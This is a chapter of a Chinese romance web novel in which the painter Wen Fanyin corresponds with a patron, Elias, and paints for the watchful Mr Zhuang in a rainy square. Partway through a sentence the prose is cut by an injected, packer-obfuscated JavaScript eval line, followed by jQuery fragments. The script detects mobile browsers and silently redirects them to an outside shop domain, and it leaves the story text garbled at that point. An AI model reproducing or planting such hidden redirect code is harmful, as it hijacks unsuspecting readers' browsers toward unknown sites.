温梵音将不合时宜的想法抛开,垂眸编辑消息,删删减减,她目前确实没有什么能拿得出手的东西,她忽然意识到自己还不够优秀,还不够谈判的资格。
温梵音敛眸,这个认知却让她更加坚定了要进入国际画博的决心。
对面却在这时又发了一条信息:「每年的画展我都去参观过,不过让我失望的每年都与优秀画展的提名擦肩而过,如果温小姐有信心让今年的画展入选,我不吝惜提前给温小姐提供资助。」
温梵音敛眸,她知道这是对方给她的机会,但她需要做好最坏的打算:「那届时未入选,Elias先生当如何?」
Elias先生:「梵音?或许这样称呼你显得我亲和一些,梵音,你应该明白,还没开始行动是没有资格畏惧结果的。」
她看见最后那句话眼眸轻闪,甚至忽略了他对她称呼的改变。
短短几分钟的交流,温梵音觉得对方一定是一位儒雅学习渊博的绅士,至于对方会跟她耐心的说这么多话,或许是看在罗德里克教授的面子上。
温梵音回复:「谢谢Elias先生,我知道怎么做了。」
温梵音像是突然想起什么:「Elias先生,您说您每年都会来参观画展,今年也会来吗?」
Elias先生:「当然,不过今年我多了几分期待。」
—
第二天早上,因为答应了许淮安要去看音乐剧,加上她会在音乐会之后和他说清楚分手,她心里装着事所以很早就醒了。
她洗漱好,一边往客厅走,一边将双手伸向脑后将披在肩头的头发拢起来,随意的绕了几圈,最后将手腕上的碎花发圈褪下扎了一个低丸子头。
她刚走出来就看见贝拉将吐司和牛奶放在餐桌上。
女生看到她,跟她打招呼:“音,早上好,正好快来吃早餐。”
“好,辛苦啦。”温梵音笑着走过去拉开椅子坐。
贝拉坐在她对面:“顺带的事情,况且我每天晚上那么晚回来都能吃上温热的饭,我感谢你还来不及呢。”
温梵音朝她笑了笑,贝拉是个超级自律的女生,为了保持身材每天早上很早就会起床晨跑,然后回来时会顺带买一些早餐回来。
然后晚上她有兼职,回来得比较晚,至于什么兼职贝拉没有告诉她,她也没去深究她的隐私,只是将晚餐给她温在保温箱里。
贝拉手里拿着吐司,随口一问:“音,我看你已经打扮好了,是要准备出门吗?”
温梵音放下手里的牛奶杯,将许淮安约她去看音乐剧的事告诉了她。
贝拉咬了一口吐司,等咽下后开口:“这么早吗?是吃完早餐就要出发吗?”
温梵音摇头,看了一眼墙上的挂钟:“他说一个小时后来接我。”
贝拉笑道:“你们感情真好。”
温梵音倒是没有和贝拉说她今天赴约的真实目的。
吃完早餐温梵音主动承担了洗碗的工作,之后回到房间,她打算在许淮安来接她之前,先把网上接的画稿完成,这也算是她的兼职之一。
她定了一个闹铃后,便开始在ipad上绘画。
不知道过了多久,突兀的手机来电铃声将她绘画的思绪打断,她伸手够起一旁的手机看了一眼。
庄先生?
虽然疑惑他为什么给她打电话,不过她还是接通。
男人隽朗的声音透过手机传了过来。
“温小姐,打扰了,我想问你今天有时间帮我作画吗?我今天正巧休假一天,我担心错过今天后,短期内找不到合适的时间。”
温梵音闻言微微皱眉,她今天已经和许淮安约定好了,刚想拒绝,余光却瞥到放在房间角落的蓝色礼袋。
脑海里浮现出那个雨夜,男人越界的动作,惊骇世俗的话语......
不过自从那晚之后,他也并未联系过她,仿佛正如他自己所说他的话是无心之举。
但是她的直觉告诉她,最好还是早一点和对方撇清关系,或许趁着今天将人情还了,不然的话,不知道还要拖多久。
温梵音应下:“有空,那上午十点北街的索莱纳喷泉广场见可以吗?”
另一边,庄则韫站在落地窗前,手掌撑在腰骨上,另一只手拿着手机,垂眸看着楼下的车流。
答应的这般果决吗?
他知道,她的同意不过是想彻底与他划清界限罢了。
他耳边是女生清泠的声音,说:“庄先生?”
庄则韫敛眸,声音温和:“自然,温小姐决定就好。”
这边,温梵音挂断电话之后,给许淮安发消息解释,自己临时有事不能赴约,并且给对方道歉。
许淮安关切:「没关系,你那边的事情紧急吗?需不需要我帮忙?」
温梵音解释:「前段时间有个买家约了稿,但排期上出了点问题,今天正好对方空出来了时间,所以来找我了。」
得到对方的理解,温梵音关闭手机,她确实只是将庄则韫当作是一个顾客。
—
索莱纳喷泉广场,现在正是人多的时候,温梵音到达她的摊位后,没看见廖叔,心知他今天不出摊。
她先将装有西装外套的礼袋放置在一边,随后才开始安置画架,摆放画具。
大概过了十几分钟,她一切准备好,这才抬头,正巧看见逆着人流朝她这个方向走来的男人。
男人今天是纹理背头,露出了光洁的额头,精致的五官吸人眼球,身材高大挺拔,穿着一件薄款的黑色风衣,内里搭配的是白色衬衫,勾勒出宽肩窄腰,再往下风衣随着走动的长腿微微往外带,一双薄底牛津皮鞋不急不缓的踏在地上。
其实风衣很考验人的身高和身材,哪怕一项不达标,穿出来的效果都会不尽人意,但对方恰好就是穿风衣最好的典范,单单是站在人群中就鹤立鸡群。
突然,一个小男孩只顾着往前跑没看路,猛地撞在男人的腿上。
那点力气没有撼动男人半分,反倒是小男孩失衡站不稳朝后倒去,在小孩的惊呼声中,一双戴着黑色手套的手稳稳的扶住了他。
紧接着很快小男孩被一个女士抱起,女士抱着小男孩微微欠身向庄则韫道谢。
男人嘴角含笑轻轻的摇头。
这个小插曲结束,温梵音收回目光,却没看见男人偏回头那瞬间,浅绿色眸子准确的锁定在她身上。
又过了一会儿,她头顶响起男人略带歉意的声音:
“抱歉温小姐,路上有些堵车,让你久等了。”
温梵音抬眸,与他视线相触,这才注意到对方今天没有戴眼镜,她想估计是度数不高,只在办公的时候戴。
她看着站定在她面前的男人:“没事,我也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17677114|207524||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
才刚到没多久。”
她抬手示意:“庄先生先坐。”
庄则韫顺着她手指的方向,坐在她对面的椅凳上。
温梵音询问:“庄先生对画有什么要求,是要肖像画还是您自己口述要求?”
庄则韫眼底含笑,温声道:“口述要求。”
她闻言点头,“那开始吧”,随后移开目光看向铺好画纸的画板。
广场的白鸽飞起又降落在地,温梵音随着男人的描述,心中大致有了一个轮廓。
等对方说完,她便开始着手绘画。
其实一旦沉浸在绘画中她很少会被旁的事情打扰,但今天却稍微有些偏差。
哪怕她没有偏头,目光也始终在画纸上,但也忽视不掉一旁专注审视的目光,还带着丝丝她也说不上来的冰凉粘腻。
在又一次被这目光扰了思绪,她皱眉看过去,对上的却是一双盈满温和儒雅的眼眸。
庄则韫扬起嘴角,悉心关切问道:“是我描述得不够详尽吗?”
温梵音抿了抿唇,“不是。”
难道要她说不要一直盯着她吗?
随后她像是想到什么,眼眸轻闪,对他说:“庄先生,我作画还需要一些时间,您坐在这里会比较无聊,前面不远处有一家咖啡馆,你可以去哪里边喝咖啡边等。”
随后她抬手示意男人,男人随着她手指的方向看过去。
不远处果然有一家咖啡馆,透过咖啡馆的透明玻璃窗户,能看见此刻里面的人不少。
她突然想到佛罗伦萨倡导快咖啡文化,通常都是站在吧台就将浓缩咖啡喝掉,如果要坐下喝价格会更高些。
她知道庄则韫或许不缺这点钱,但她还是道:“我愿意帮您支付咖啡的花费价格。”
半晌,庄则韫转回头,看着女生,他自然知道她为什么这么说,不过还是应下:
“也好,我在这里也帮不上忙,那便辛苦温小姐了。”
话落庄则韫站起身,往那家咖啡馆走去。
温梵音见状却是下意识松了一口气,但不一会儿她便意识到松气松早了,因为那道胶着在她身上的视线并没有消失。
温梵音偏头看过去,看见玻璃窗内的男人抿了一口咖啡,将杯子放下,朝她微笑致意。
虽然不知道庄则韫是什么目的,但是今天也只会是和他有关联的最后一天。
她转回头没有理会,强迫自己静下心来认真作画。
可惜天公不作美,一道不大不小的雷鸣之后,顷刻间便下起了小雨。
温梵音第一时间先是将画圈起来护在怀里,随后提起一旁装着外套的蓝色礼袋。
她今天是一定要与庄则韫划清界限的,要是这个时候再将要偿还他的东西打湿弄脏,那不知道又会拖到什么时候了。
下起了雨,广场上没有伞的人四处躲雨,不少人脱下外套顶在头上往四周的店面里跑,还有的则是用手直接顶在头顶。
温梵音无暇顾及别人,只快速的将画纸和礼袋抱在怀中,转身正打算往就近的便利店跑去。
哪知刚转身,便看见站在离她几步之远的庄则韫。
男人撑着一把纯黑色的雨伞,皮质手套握住伞柄,半是调侃朝她笑道:“温小姐,我的伞下没有雨。”
温梵音隔着丝丝细雨,望进男人宝绿色的眼眸,听出了他一语双关的话语。